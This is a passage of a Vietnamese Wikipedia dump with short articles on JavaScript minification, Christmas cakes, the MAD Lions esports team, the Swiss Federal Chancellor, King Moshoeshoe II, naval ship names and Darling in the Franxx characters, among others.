thiếu thông tin về các thao tác thu gọn, mã nguồn được đảo ngược sẽ sử dụng tên biến và luồng điều khiển khác, nhưng vẫn giữ nguyên chức năng như mã nguồn ban đầu. Ví dụ Ví dụ, ở đoạn mã JavaScript sau: // Đây là một comment sẽ bị loại bỏ bởi minifier var array = []; for (var i = 0; i < 20; i++) { array[i] = i; } tương đương với, nhưng dài hơn đoạn mã sau: for(var a=[],i=0;i<20;a[i]=i++); Lịch sử Năm 2001, Douglas Crockford đã giới thiệu JSMin, một công cụ giúp loại bỏ comment và các dấu khoảng trắng khỏi đoạn mã JavaScript. Sau đó là YUI Compressor ra đời vào năm 2007. Vào năm 2009, Google đã ra mắt bộ công cụ Closure, trong đó có Closure Compiler với tính năng source mapping nguồn cùng với một tiện ích mở rộng Firefox có tên Closure Inspector. Năm 2010, Mihai Bazon giới thiệu UglifyJS, nhưng sau đó được thay thế bởi UglifyJS2 vào năm 2012, với khả năng hỗ trợ source mapping. Từ năm 2017, Alex Lam đã tiếp quản việc bảo trì và phát triển UglifyJS2, thay thế nó bằng UglifyJS3, một phiên bản thống nhất giữa CLI với API. Vào năm 2018, Terser được fork và được phát triển từ UglifyJS và đã được ưa chuộng nhiều. Năm 2020, Terser đã vượt xa UglifyJS về số lượt tải hàng ngày. Source mapping Source map là một định dạng tập tin cho phép các công cụ phần mềm JavaScript hiển thị cho người dùng đoạn mã khác với mã nguồn thực sự được máy tính thực thi. Ví dụ, việc "ánh xạ" mã nguồn đã được minified với mã nguồn ban đầu để hỗ trợ cho việc gỡ lỗi. Định dạng ban đầu được tạo bởi Joseph Schorr như một phần của dự án Closure Inspector minification. Phiên bản 2 và 3 của định dạng đã giảm đáng kể kích thước của tập tin "ánh xạ". Dạng Công cụ Visual Studio Code đi kèm với khả năng hỗ trợ minification trong nhiều ngôn ngữ. Điều này có thể được thực hiện bằng cách đi tới Visual Studio Marketplace để tải xuống và cài đặt một số minifter. Công cụ tối ưu hóa JavaScript có thể minify và tạo ra source map. Ngoài ra một số công cụ trực tuyến nhất định có thể nén CSS. Phát triển web Các thành phần và thư viện dành cho các ứng dụng web và trang web đã được phát triển để tối ưu hóa các yêu cầu tập tin và giảm thời gian tải trang bằng cách thu nhỏ kích thước của nhiều tập tin khác nhau. Tài nguyên JavaScript và CSS có thể được minified, vẫn giữ nguyên chức năng trong khi giảm đáng kể kích thước tập tin. Các thư viện trực tuyến có khả năng minify và tối ưu hóa ở các mức độ khác nhau. Một số thư viện cũng kết hợp nhiều tập lệnh thành một tập tin duy nhất để tải xuống từ phía client. Source map JavaScript có thể giúp mã nguồn dễ đọc và gỡ lỗi ngay cả sau khi đã được kết hợp và minified. Tham khảo JavaScript Mã nguồn
19852677
https://vi.wikipedia.org/wiki/Nisaka%20Yoshinobu
Nisaka Yoshinobu
là chính khách người Nhật Bản. Trước đây, ông từng giữ chức vụ làm thống đốc tỉnh Wakayama từ ngày 17 tháng 12 năm 2006 đến ngày 16 tháng 12 năm 2012. Tham khảo Người Wakayama Sinh năm 1950 Chính khách Wakayama
19852678
https://vi.wikipedia.org/wiki/B%C3%A1nh%20gi%C3%A1ng%20sinh
Bánh giáng sinh
Bánh Giáng sinh là một loại bánh ngọt, thường là bánh trái cây, được phục vụ vào dịp Giáng sinh ở nhiều quốc gia. Biến thể Anh Bánh Giáng sinh là một truyền thống của người Anh bắt nguồn từ món cháo mận. Một chiếc bánh Giáng sinh truyền thống Anh được làm từ nho Zante ẩm, nho khô (nho khô vàng) và nho khô ngâm trong rượu mạnh, rượu rum, rượu whisky hoặc rượu sherry. Bánh có thể được phủ nhiều lớp hạnh nhân, sau đó phủ kem và thường được trang trí bằng dải ruy băng kẻ sọc và các mô hình như người tuyết, cây linh sam hoặc Ông già Noel. Quốc gia khác Ở Hoa Kỳ, một số người tặng bánh trái cây làm quà vào dịp Giáng sinh, nhưng chúng không được gọi là bánh Giáng sinh. Tuy nhiên, ở Canada, loại bánh tương tự lại được gọi là "bánh Giáng sinh". Ở Ấn Độ, bánh Giáng sinh theo truyền thống là loại bánh trái cây với nhiều phiên bản. Bánh Allahabadi nổi tiếng với hương vị đậm đà. Nhiều tiệm bánh Kitô giáo truyền thống hơn thêm rượu, thường là rượu rum, vào bánh. Ở Sri Lanka, bánh Giáng sinh sử dụng mật đường thay vì đường mía và bao gồm các loại gia vị như nhục đậu khấu, quế và tiêu đen. Ở Nhật Bản, bánh Giáng sinh theo truyền thống được ăn vào đêm Giáng sinh. Bánh chỉ đơn giản là một chiếc bánh xốp, phủ kem tươi, thường được trang trí bằng dâu tây, phủ sôcôla Giáng sinh hoặc các loại trái cây theo mùa khác. Những chiếc bánh Giáng sinh kiểu này ban đầu được Fujiya tung ra thị trường và được phổ biến rộng rãi khi họ bắt đầu bán hàng tại Ginza, khu thương mại trung tâm ở Tokyo. Ở Philippines, bánh Giáng sinh là những chiếc bánh pound màu vàng tươi với các loại hạt ngâm hoặc bánh trái cây theo kiểu Anh. Cả hai đều được ngâm trong một lượng lớn rượu mạnh hoặc rượu rum trộn với xi-rô đường cọ và nước đơn giản. Một loại bánh Giáng sinh truyền thống khác là crema de fruta, loại bánh xốp được phủ sữa trứng ngọt hoặc kem tươi, gelatin hoặc gulaman (thạch) và nhiều loại trái cây bao gồm xoài, dứa, anh đào và dâu tây. Ở Síp, bánh Giáng sinh rất giống ở Anh và được phục vụ vào ngày Giáng sinh. Đây là món ăn đầu tiên mà người dân địa phương mời khách của họ. Ở Đức thì có Stollen, một loại bánh trái cây truyền thống của Đức, rất được ưa chuộng. Trong mùa Giáng sinh, nó còn được gọi là Weihnachtsstollen hoặc Christstollen. Ở Ý có Panettone, một loại bánh mì chua ngọt có hình vòm đặc biệt, được ăn theo truyền thống vào dịp Giáng sinh. Nó chứa nho khô và kẹo trái cây họ cam quýt và được chuẩn bị tỉ mỉ trong nhiều ngày. Ở Pháp, Bỉ, Thụy Sĩ, Cộng đồng Canada gốc Pháp, Luxembourg và Lebanon có Bûche de noël (bánh gỗ Yule) là loại bánh Giáng sinh truyền thống. Chúng là những chiếc bánh xốp nhẹ được phủ một lớp kem bơ có hương vị sô cô la, cà phê và Grand Marnier. Ở Bồ Đào Nha và Brasil thì có Bolo Rei, dịch là "Bánh vua", là một loại bánh Giáng sinh truyền thống của Bồ Đào Nha và Brazil. Nó thường được thưởng thức trong mùa Giáng sinh và được biết đến với hương vị đậm đà và ngọt ngào. Bánh có hình tròn, có lỗ ở giữa giống như một chiếc vương miện. Nó thường được trang trí bằng kẹo trái cây, các loại hạt và đường bột. Tham khảo Liên kết ngoài Christmas cake at the Wikibooks Cookbook subproject Thức ăn mùa Giáng sinh Bánh ngọt Bánh Giáng sinh
19852683
https://vi.wikipedia.org/wiki/Cionus%20leucostictus
Cionus leucostictus
Cionus leucostictus là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Fairmaire, L. mô tả lần đầu tiên vào năm 1897. Tham khảo Cionus
19852686
https://vi.wikipedia.org/wiki/B%C3%A1nh%20Halloween
Bánh Halloween
Bánh Halloween là một loại bánh ngọt được trang trí với các biểu tượng và phụ kiện theo chủ đề Halloween. Nó có thể được làm với các màu Halloween truyền thống như đen và cam, và có thể được trình bày đa dạng theo nhiều cách với chủ đề khác nhau. Bánh có thể là một phần bữa tiệc Halloween trong các gia đình vào ngày lễ. Tham khảo Đọc thêm Bánh ngọt Đồ ăn Halloween
19852687
https://vi.wikipedia.org/wiki/Cionus%20linariae
Cionus linariae
Cionus linariae là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Germar, E.F. mô tả lần đầu tiên vào năm 1821. Tham khảo Cionus
19852694
https://vi.wikipedia.org/wiki/MAD%20Lions
MAD Lions
MAD Lions là một tổ chức thể thao điện tử Tây Ban Nha thuộc sở hữu của OverActive Media. Đội Liên Minh Huyền Thoại của họ, được đổi tên từ Splyce, thi đấu ở giải đấu cấp cao nhất Châu Âu của bộ môn Liên Minh Huyền Thoại, LEC. MAD Lions đã giành được danh hiệu LEC đầu tiên vào ngày 11 tháng 4 năm 2021, sau khi quét sạch Rogue trong trận chung kết Giải mùa xuân. Liên Minh Huyền Thoại Lịch sử Trước khi tham gia LEC MAD Lions được thành lập vào ngày 31 tháng 8 năm 2017 để thi đấu tại giải đấu Liên minh huyền thoại chuyên nghiệp của Tây Ban Nha. Đội bắt đầu thi đấu tại SuperLiga Orange của Tây Ban Nha (trước đây là División de Honor) và ngày càng nổi tiếng khi liên tục đứng đầu khu vực, đủ điều kiện tham dự giải đấu European Masters danh giá và vô địch giải đấu trong lần xuất hiện thứ hai vào mùa hè năm 2018. Tổ chức cũng bắt đầu mở rộng trên toàn cầu, tài trợ cho một số đội ở Mỹ Latinh dưới thương hiệu MAD Lions. Vào tháng 5 năm 2019, có thông báo rằng MAD Lions đã được OverActive Media mua lại. Công ty sau đó đã công bố ý định giải thể công ty con thể thao điện tử khác của mình, Splyce, vào cuối năm đó. Đội Liên minh huyền thoại của Splyce sau đó đã đổi tên thương hiệu MAD Lions vào tháng 11 năm 2019, trong khi đội Liên minh huyền thoại ban đầu của MAD Lions được đổi tên thành MAD Lions Madrid. Mùa giải 2020 Đội hình LEC đầu tiên của MAD Lions cho Giải mùa xuân 2020 bao gồm bốn tân binh—Orome, Shad0w, Carzzy, Kaiser và một cựu thành viên của Splyce, Humanoid. Bất chấp những kỳ vọng rằng đội sẽ chỉ đủ điều kiện tham dự vòng loại trực tiếp dành cho đội thua hoặc hoàn toàn không đủ điều kiện, MAD Lions đã đứng thứ tư trong mùa giải và giành được một suất trong nhánh thắng. G2 Esports đã chọn MAD Lions làm đối thủ ở vòng play-off đầu tiên và được kỳ vọng sẽ giành chiến thắng trước MAD Lions với tư cách là ứng cử viên vô địch mùa xuân. Tuy nhiên, MAD Lions đã đánh bại G2 Esports, đẩy G2 vào nhánh thua. MAD Lions sau đó đã bị đẩy xuống nhánh thua sau khi bị Fnatic quét sạch ở vòng thứ hai của nhánh thắng Giải đấu đầu tiên của MAD Lions đã kết thúc khi họ để thua G2 Esports trong trận tái đấu ở vòng cuối cùng của nhánh thua. MAD Lions giữ lại toàn bộ đội hình mùa xuân của họ cho Giải LEC mùa hè 2020. MAD đứng thứ hai trong mùa giải và bắt đầu vòng loại trực tiếp trong nhánh thắng. MAD Lions đã thua trong trận tái đấu với G2 Esports ở vòng đầu tiên của nhánh thắng và buộc phải vượt qua nhánh thua một lần nữa. MAD Lions đã đánh bại được Schalke ở vòng thứ hai của nhánh thua, nhưng bị Rogue quét sạch ở vòng thứ ba và kết thúc mùa giải ở vị trí thứ tư. Vị trí thứ tư của MAD Lions trong giải mùa hè đã giúp họ đủ điều kiện tham dự vòng play-in của Chung kết thế giới 2020. Là một đội đến từ một khu vực lớn, MAD Lions được nhiều nhà phân tích kỳ vọng sẽ đủ điều kiện tham gia Sự kiện chính. Tuy nhiên, MAD Lions xếp thứ 4 trong số năm đội trong bảng của họ và bị loại khỏi Chung kết Thế giới bởi SuperMassive của Thổ Nhĩ Kỳ ở vòng Knockout. Mùa giải 2021 Trước Giải LEC mùa xuân 2021, Orome và Shad0w lần lượt được thay thế bằng Armut và Elyoya, cả hai đều đã ra mắt tại LEC. Armut trước đây là người đi đường trên của SuperMassive, đội đã loại MAD Lions khỏi Chung kết thế giới năm 2020. MAD Lions đứng thứ ba trong mùa giải và một lần nữa bắt đầu ở nhánh thắng. MAD Lions đã đánh bại Rogue ở vòng đầu tiên của nhánh thắng, giành quyền vào vòng thứ hai. Ở đó, MAD Lions đã đánh bại G2 Esports và tiến vào trận chung kết LEC đầu tiên của họ. Mặc dù bị dẫn trước 0–2, MAD Lions vẫn lội ngược dòng đánh bại Rogue trong một trận chung kết đầy cam go, giành lấy danh hiệu LEC đầu tiên của họ. Đội hình hiện tại Thành tích Tham khảo Tổ chức thể thao điện tử Đội tuyển Liên Minh Huyền Thoại Đội tuyển Valorant
19852695
https://vi.wikipedia.org/wiki/PO%20Coyo
PO Coyo
PO. COYO PT. hay thường được gọi là PO Coyo là một trong những công ty xe buýt đến từ Pekalongan, Trung Java. Xe buýt phục vụ hành khách từ Semarang đến Cirebon và cả Cirebon đến Malang. Đây cũng là một trong những công ty xe buýt lâu đời nhất ở Indonesia. Lịch sử COYO trước đây có tên là TJOJO, bắt đầu hoạt động vào khoảng năm 1950 với đội xe vào thời điểm đó là Ford. Đã hình thành một tuyến xe buýt ở các tuyến Trung Java. Nhưng hiện tại lịch khởi hành của xe buýt Coyo không còn bận rộn như trước vì thiếu khách và nhường chỗ cho các phương tiện di chuyển khác như tàu hỏa hay phương tiện cá nhân. Công ty này cũng gần như sụp đổ vì không có thành viên gia đình nào ở Indonesia muốn tiếp tục công việc kinh doanh của ông chủ. Cuối cùng, con trai chủ ở Hoa Kỳ được gọi là Untung, để tiếp tục công việc kinh doanh. Theo chính chủ sở hữu cho biết tại sao không ai muốn tiếp tục kinh doanh lĩnh vực này, bởi kinh doanh vận tải hành khách cần vốn lớn nhưng lợi nhuận thu được nhỏ và vốn đã được hoàn lại lâu dài. Tuyến đường và các loại xe buýt PO Coyo hiện phục vụ các tuyến ở một số thành phố trên Java, với hai loại xe buýt, gồm: Semarang, Tegal, Cirebon - Điều hòa POTATO tiết kiệm Cirebon, Surabaya, Malang - Cấu hình ghế Super Executive 2-1 Đội xe PO Coyo hiện có hàng chục đội xe buýt, trong số đó gồm: Đội hiện tại Hino Motors Hyundai Đội cũ Ford Mercedes-Benz Mitsubishi Tham khảo Công ty xe buýt Indonesia
19852703
https://vi.wikipedia.org/wiki/Zing%20Music%20Awards%202020
Zing Music Awards 2020
Zing Music Awards 2020 (viết tắt: ZMA 2020) là giải thưởng Zing Music Awards lần thứ 11 do Zing tổ chức với chủ đề "Âm nhạc không cách ly". Đây là chuỗi sự kiện trực tuyến diễn ra trong 3 tháng (từ tháng 11/2020 đến tháng 1/2021) bao gồm bình chọn các hạng mục giải thưởng, tuần lễ công bố giải thưởng và tôn vinh, các phần trình diễn tái hiện bức tranh Vpop 2020, cuộc thi cover bài hát của thần tượng. Tổ chức Quá trình đề cử Hội đồng nghệ thuật Nhạc sĩ Nguyễn Cường (Chủ tịch) Nhạc sĩ Nguyễn Hồng Thuận Nhà sản xuất, nhạc sĩ Khắc Hưng Nhà sản xuất, nhạc sĩ Rhymastic Ca sĩ Thanh Hà Danh sách đề cử Cơ cấu giải thưởng ZMA 2020 không thay đổi so với năm 2019, vẫn bao gồm 8 hạng mục: Nghệ sĩ của năm, Phát hiện của năm, nhóm giải thưởng theo thể loại âm nhạc (Ca khúc Pop/Ballad, Rap/Hip Hop, Dance/Electronic, R&B/Soul được yêu thích) và nhóm giải thưởng yêu thích (Nam/Nữ nghệ sĩ được yêu thích). Danh sách đề cử dành cho các cá nhân: ZMA 2020 có 4 hạng mục thể loại nhạc, bao gồm: Pop / Ballad, Rap / Hip hop, R&B / Soul và Dance / Electronic. Danh sách đề cử ban đầu được công bố vào ngày 4 tháng 12 và khán giả bắt đầu bình chọn từ ngày 7 tháng 12, sau đó là top 10 và top 5 lần lượt vào ngày 14 tháng 12 và 21 tháng 12 năm 2020, cùng với các hạng mục dành cho cá nhân. Danh sách đề cử dành cho các tác phẩm: Lễ trao giải Vào lúc 20 giờ ngày 7 tháng 1 năm 2021, livestream công bố kết quả Zing Music Awards (ZMA) 2020 đã chính thức diễn ra trên ứng dụng Zing MP3. Để đảm bảo an toàn sức khỏe cho cộng đồng trước dịch Covid-19, buổi công bố các quán quân ZMA 2020 tiến hành trực tuyến, thay vì tổ chức lễ trao giải ở nhà hát hay sân vận động như các mùa giải trước. Kết quả Tham khảo Zing Music Awards Giải thưởng âm nhạc Việt Nam Giải thưởng Việt Nam
19852705
https://vi.wikipedia.org/wiki/Nh%E1%BA%A3y%20Breaking%20t%E1%BA%A1i%20%C4%90%E1%BA%A1i%20h%E1%BB%99i%20Th%E1%BB%83%20thao%20ch%C3%A2u%20%C3%81%202022
Nhảy Breaking tại Đại hội Thể thao châu Á 2022
Nhảy Breaking tại Đại hội Thể thao châu Á 2022 được tổ chức tại Nhà thi đấu Công viên Thể thao Kênh Củng Thự, Hàng Châu, Trung Quốc từ ngày 6 đến ngày 7 tháng 10. Điều này đánh dấu sự ra mắt của bộ môn này tại Đại hội thể thao châu Á. Mỗi Ủy ban Olympic quốc gia (NOC) có thể đăng ký tối đa 4 vận động viên, mỗi giới 2 người. Quốc gia tham dự Có tổng cộng 45 vận động viên đến từ 13 tham gia thi đấu Nhảy Breaking tại Đại hội Thể thao châu Á 2022: Lịch thi đấu Danh sách huy chương Bảng tổng sắp huy chương Tham khảo Đại hội Thể thao châu Á 2022 Á châu 2022 2023 Nhảy Breaking
19852706
https://vi.wikipedia.org/wiki/T%E1%BB%95ng%20Th%C6%B0%20k%C3%BD%20Li%C3%AAn%20bang%20Th%E1%BB%A5y%20S%C4%A9
Tổng Thư ký Liên bang Thụy Sĩ
Tổng thư ký liên bang Thụy Sĩ (, , , ) là người đứng đầu Văn phòng Hội đồng Liên bang, người đứng đầu bộ máy hành chính liên bang của Hội đồng Liên bang Thụy Sĩ. Từ ngày 1 tháng 1 năm 2024, Viktor Rossi là tổng thư ký liên bang đương nhiệm. Nhiệm vụ và quyền hạn Tổng thư ký liên bang giúp tổng thống liên bang và Hội đồng Liên bang thực hiện nhiệm vụ của mình. Tuy thường được gọi là "bộ trưởng thứ tám" nhưng tổng thư ký liên bang không phải là một thành viên Hội đồng Liên bang. Tổng thư ký liên bang là người đứng đầu Văn phòng Hội đồng Liên bang, có nhiệm vụ tổ chức các hoạt động chung của chính quyền liên bang. Tổng thư ký liên bang có hai phó thư ký. Từ khi được thành lập vào năm 1848, chức vụ tổng thư ký liên bang đã suy giảm về vai trò, tầm quan trọng, nhất là từ năm 2000 do "sự phân hóa, cá nhân hóa và truyền thông hóa của chính trị Thụy Sĩ". Bầu cử Tổng Thư ký Liên bang do Quốc hội Liên bang bầu ra. Danh sách tổng thư ký Liên bang Thụy Sĩ 1803-1814 Chức vụ tổng thư ký được thành lập từ năm 1803 vào thời Pháp thuộc của Thụy Sĩ, khi Napoléon Bonaparte giải thể Cộng hòa Helvetica và tái lập một nhà nước liên bang. 1814-1848 Sau khi Napoléon bị lật đổ, chế độ liên bang của Thụy Sĩ được khôi phục. Tổng thư ký liên bang là người đứng đầu chính phủ và một trong những thành viên thường trực duy nhất của chính quyền liên bang. Từ năm 1848 Sau Chiến tranh Liên minh Độc lập, Hiến pháp Liên bang Thụy Sĩ được ban hành vào năm 1848, thành lập nhà liên bang Thụy Sĩ hiện tại và chức vụ tổng thư ký liên bang. Xem thêm Thụy Sĩ Hội đồng Liên bang (Thụy Sĩ) Tổng thống Liên bang (Thụy Sĩ) Tham khảo Đọc thêm Văn bản pháp lý Hiến pháp Liên bang Thụy Sĩ archive (Hiến pháp) ngày 18 tháng 4 năm 1999 (état le 1er janvier 2020), RS 101. Luật Tổ chức chính phủ và bộ máy hành chính archive (Luật Tổ chức) ngày 21 tháng 3 năm 1997 (état le 1er janvier 2018), RS 172.010. Liên kết ngoài Danh sách tổng thư ký liên bang Thụy Sĩ từ năm 1848, sur le site de l'administration fédérale suisse. Chính trị Thụy Sĩ Chính phủ Thụy Sĩ
19852718
https://vi.wikipedia.org/wiki/Moshoeshoe%20II%20c%E1%BB%A7a%20Lesotho
Moshoeshoe II của Lesotho
Moshoeshoe II (2 tháng 5 năm 1938 – 15 tháng 1 năm 1996), tên khai sinh là Constantine Bereng Seeiso, là Thủ lĩnh tối cao của Basutoland, kế nhiệm thủ lĩnh tối cao Seeiso từ năm 1960 cho đến khi đất nước giành được độc lập hoàn toàn từ Đế quốc Anh vào năm 1966. Ông là Vua của Lesotho từ năm 1966 cho đến khi ông bị lưu đày vào năm 1990, và lên ngôi lần 2 từ năm 1995 cho đến khi ông qua đời do tai nạn xe vào năm 1996. Con trai ông là Letsie III đã lên kế vị và trị vì Lesotho cho đến tận ngày nay. Cuộc sống đầu đời Moshoeshoe sinh ra với tên Constantine Bereng Seeiso và là hậu duệ của người sáng lập quốc gia, Moshoeshoe I, và vương hiệu của ông sau này được đặt theo tên này. Seeiso được học tại trường Cao đẳng Roma ở Lesotho, sau đó (dường như chạy trốn vì tin đồn cha dượng ông có ý định đầu độc mình) được gửi đến Anh, đầu tiên ông học tại trường Ampleforth College và sau đó là trường Corpus Christi College, Oxford. Khi ở đó, ông sống cuộc sống của một quý ông miền quê nước Anh, với các thú chơi như săn bắn, bắn súng và câu cá. Cai trị Qua đời Gia đình Tham khảo Sinh năm 1938 Mất năm 1996 Vua Lesotho Vương tộc Moshesh Vua bị phế truất
19852723
https://vi.wikipedia.org/wiki/TCG%20H%C4%B1z%C4%B1rreis
TCG Hızırreis
Hai tàu ngầm của Hải quân Thổ Nhĩ Kỳ từng được đặt cái tên TCG Hızırreis, theo tên Đô đốc Ottoman Kurtoğlu Hızır Reis: TCG Hızırreis (S344), nguyên là , được Hoa Kỳ chuyển giao cho Thổ Nhĩ Kỳ năm 1960 và phục vụ cho đến năm 1980 TCG Hızırreis (S342), nguyên là , được Hoa Kỳ chuyển giao cho Thổ Nhĩ Kỳ năm 1980 và xuất biên chế năm 2004 Tên gọi tàu chiến Hải quân Thổ Nhĩ Kỳ
19852725
https://vi.wikipedia.org/wiki/USS%20Sand%20Lance
USS Sand Lance
Hai tàu ngầm của Hải quân Hoa Kỳ từng được đặt cái tên USS Sand Lance, theo tên họ Cá cát: là một trong biên chế từ năm 1943 đến năm 1946, rồi chuyển giao cho Brazil và hoạt động như là chiếc Rio Grande do Sul (S-11) từ năm 1963 đến năm 1972 là một trong biên chế từ năm 1971 đến năm 1998 Tên gọi tàu chiến Hải quân Hoa Kỳ
19852726
https://vi.wikipedia.org/wiki/Rio%20Grande%20do%20Sul%20%28t%C3%A0u%20chi%E1%BA%BFn%20Brazil%29
Rio Grande do Sul (tàu chiến Brazil)
Ba tàu chiến của Hải quân Brazil từng được đặt cái tên Rio Grande do Sul, theo tên tiểu bang Rio Grande do Sul của Brazil: Rio Grande do Sul (1909) là một hạ thủy năm 1909 và xuất biên chế năm 1948 Rio Grande do Sul (S11) (lớp Balao) nguyên là được Hoa Kỳ chuyển giao và phục vụ từ năm 1963 đến năm 1972 Rio Grande do Sul (S11) (lớp Tench) nguyên là được Hoa Kỳ chuyển giao và phục vụ từ năm 1973 đến năm 1993 Tên gọi tàu chiến Hải quân Brazil
19852735
https://vi.wikipedia.org/wiki/Danh%20s%C3%A1ch%20nh%C3%A2n%20v%E1%BA%ADt%20trong%20Darling%20in%20the%20Franxx
Danh sách nhân vật trong Darling in the Franxx
Dưới đây là danh sách các nhân vật trong loạt phim anime Darling in the Franxx của Code:000. Đội 13 Một đội gồm mười Parasite là nhân vật chính của bộ truyện. Biệt đội có trụ sở tại Plantation 13, sống trong khu vực quê hương của họ, Mistilteinn (ミストルティン, Misutorutin), thường được gọi là Lồng chim. Biệt đội 13 là duy nhất, đáng chú ý nhất là Franxx được thiết kế riêng. Đội cũng đáng chú ý khi gọi nhau bằng tên thay vì mã số. Những tên này dựa trên cách đọc mã số của họ bằng tiếng Nhật. Phi công lái Strelizia Strelizia (ストレリチア, Sutorerichia) là chiếc Franxx do Hiro và Zero Two lái. Nó được trang bị một ngọn giáo khổng lồ có tên là "Queen Pike" để chiến đấu với Kyoryū. Mặc dù có hình dạng giống người khi được điều khiển bởi một cặp nam-nữ, nhưng Strelizia lại mang hình dạng của một con thú bốn chân khi được điều khiển bởi Zero Two một mình. Code:016 (コード:016, Kōdo:016) / Hiro (ヒロ) Lồng tiếng bởi: Yūto Uemura, Ami Koshimizu (thời thơ ấu) Từng được gọi là thần đồng, giờ đây cậu trở thành học viên phi công bỏ học sau khi "mất" khả năng đồng bộ hóa với đồng đội của mình trong Franxx. Cho đến nay, cậu là nam duy nhất có thể điều khiển Strelizia với Zero Two mà không bị sát thương. Người ta tiết lộ rằng Hiro đã từng là người đứng đầu trong số những đứa trẻ và là người chịu trách nhiệm đặt tên cho chúng, cũng như hỏi người lớn rất nhiều câu hỏi, mặc dù họ không bao giờ đưa ra câu trả lời; cậu cũng chứng kiến ​​Zero Two trải qua thử thách đau đớn và cả hai cùng nhau bỏ trốn khi còn nhỏ, thậm chí còn đi xa đến mức hứa sẽ kết hôn khi trưởng thành. Trước khi họ bị bắt và tách ra, Hiro đã liếm máu Zero Two từ một vết cắt, ảnh hưởng đến khả năng thể hiện năng khiếu của cậu và khiến mình không thể hòa hợp với bất kỳ ai ngoại trừ Zero Two. Cậu ta cũng từ từ mọc sừng và phát triển các đặc điểm Kyoryū khác. Ký ức của họ về nhau sau đó đã bị xóa. Mặc dù được coi là một thiên tài nhưng Hiro vẫn bị coi thường như một sự thất vọng cho đến khi cậu đoàn tụ với Zero Two và trở thành phi công chính thức của Strelizia sau khi là cộng sự duy nhất sống sót khi điều khiển cùng cô ba lần. Hiro dần dần khôi phục lại ký ức về quá khứ của họ. Hiro thừa nhận với Zero Two rằng cậu luôn yêu cô và họ bắt đầu mối quan hệ, đồng thời thề sẽ thực hiện lời hứa của mình. Trong trận chiến cuối cùng chống lại Kyoryū, Hiro buộc phải kết nối với Công chúa Kyoryū và phát hiện ra kẻ thù thực sự là VIRM, dẫn đầu bởi Papa, kẻ có ý định tiêu diệt hành tinh nếu cần thiết để loại bỏ Kyoryū. Zero Two cứu Hiro và họ hợp lực với Kyoryū để buộc VIRM phải rút lui. Tuy nhiên, cậu phát hiện ra rằng Zero Two bị catatonic (căng trương lực) vì cô liên kết tinh thần với Strelizia để chiến đấu với VIRM trong không gian. Cậu lựa chọn tham gia trận chiến để giải cứu cô. Sau khi kết nối lại, họ chế ngự VIRM, VIRM rút lui một lần nữa và cả hai rời đi trong một cổng dịch chuyển nhưng hứa sẽ quay trở lại với bạn bè của họ. Để đánh bại VIRM và bảo vệ tương lai của bạn bè, họ hy sinh bản thân và cho nổ hành tinh quê hương VIRM. Tại một thời điểm nào đó trong tương lai, Hiro và Zero Two tái sinh thành hai đứa trẻ gặp nhau trong tập cuối. Code:002 (コード:002, Kōdo:002) / Zero Two (ゼロツー, Zero Tsū) / 9'℩ (ナインイオタ, Nain Iota, Nine Iota) Lồng tiếng bởi: Haruka Tomatsu Là một phi công ưu tú thuộc lực lượng đặc biệt của APE, Zero Two là một cô gái bí ẩn và nổi loạn thường bị coi là quái vật do có cặp sừng đỏ và dòng máu Kyoryū. Cô còn được gọi là "kẻ sát nhân đối tác" vì tất cả các đối tác lái Strelizia cùng cô luôn chết sau khi cưỡi cùng cô nhiều nhất ba lần, với Hiro là ngoại lệ duy nhất. Cô luôn coi Hiro là "darling" của mình. Tuổi thật của cô vẫn chưa được biết nhưng mong muốn cuối cùng của cô ấy là trở thành con người hoàn toàn để có thể đoàn tụ với một người quan trọng trong quá khứ của mình, hóa ra là Hiro. Từ khi còn nhỏ, cô đã được truyền cảm hứng từ cuốn sách có tên "Quái vật và Hoàng tử", cuốn sách mà cô cho rằng có điểm tương đồng với hoàn cảnh của cô và Hiro. Cô bắt đầu tạo ra phiên bản câu chuyện của riêng mình, nhưng cố tình để trống trang cuối cùng vì có khả năng mình sẽ phải xa cách Hiro một ngày nào đó. Sau đó, cô phát hiện ra mình là bản sao của Công chúa Kyoryū do Tiến sĩ Franxx tạo ra. Khi Hiro buộc phải liên kết với công chúa, Zero Two có thể kết nối tinh thần với Strelizia để cứu cậu ta và ngăn VIRM phá hủy hành tinh nhưng điều này khiến cơ thể cô bị catatonic (căng trương lực). Về mặt tinh thần, cô tiếp tục chiến đấu với VIRM trong một trận chiến thiên hà trong không gian. Cô và Hiro kết nối lại, cho phép Zero Two hợp nhất với Strelizia, trở thành Strelizia True Apus và chế ngự VIRM. Sau đó cô và Hiro chia tay bạn bè nhưng hứa sẽ quay lại. Trong tập cuối cùng, Zero Two và Hiro gần như bị đánh bại nhưng họ đã hy sinh bản thân để tiêu diệt hành tinh quê hương VIRM và giải thoát những linh hồn bị VIRM mắc kẹt. Tại một thời điểm nào đó trong tương lai, họ được tái sinh thành hai đứa trẻ và gặp nhau. Phi công lái Delphinium Delphinium (デルフィニウム, Derufiniumu) là chiếc Franxx được điều khiển bởi Goro và Ichigo. Là Franxx dành cho đội trưởng, nó được trang bị hai loại vũ khí kiếm có tên là "Envy Shop". Code:056 (コード:056 , Kōdo:056) / Goro (ゴロー, Gorō) Lồng tiếng bởi: Yūichirō Umehara (tập 1-22), Daiki Hamano (tập 23-24), Tsumi Fujiwara (thời thơ ấu) Một cậu bé điềm tĩnh và lạc quan khi còn bé. Anh là bạn thời thơ ấu của Hiro và Ichigo. Anh đã yêu Ichigo từ khi còn nhỏ khi cô giúp bảo vệ anh khỏi những kẻ bắt nạt. Tuy nhiên, anh giữ điều này cho riêng mình vì tình cảm của cô dành cho Hiro. Anh được coi là đội trưởng không chính thức thứ hai của đội và trưởng thành hơn những chàng trai khác. Anh vô cùng quan tâm đến Hiro khi thành đối tác với Zero Two nhưng lại thể hiện sự ủng hộ cho mối quan hệ của họ khi Hiro bắt đầu mỉm cười sau khi gặp cô ấy. Sau trận chiến cuối cùng, anh đi khắp thế giới để thu thập những nguồn cung cấp cần thiết để giúp các Parasite sống sót. Mười năm sau, Goro và Ichigo kết hôn và mong đợi đứa con đầu lòng. Code:015 (コード:015, Kōdo:015) / Ichigo (イチゴ) Lồng tiếng bởi: Kana Ichinose Đội trưởng tình cảm và thẳng thắn của Biệt đội 13. Cô ấy là bạn thời thơ ấu của Hiro và Goro. Cô đã yêu Hiro từ khi họ còn nhỏ khi cậu đặt tên cho cô. Cô lo lắng cho sức khỏe của cậu ta do những rủi ro liên quan đến việc trở thành đối tác của Zero Two. Sau đó, cô cư xử ghen tị khi Hiro và Zero Two có quan hệ tình 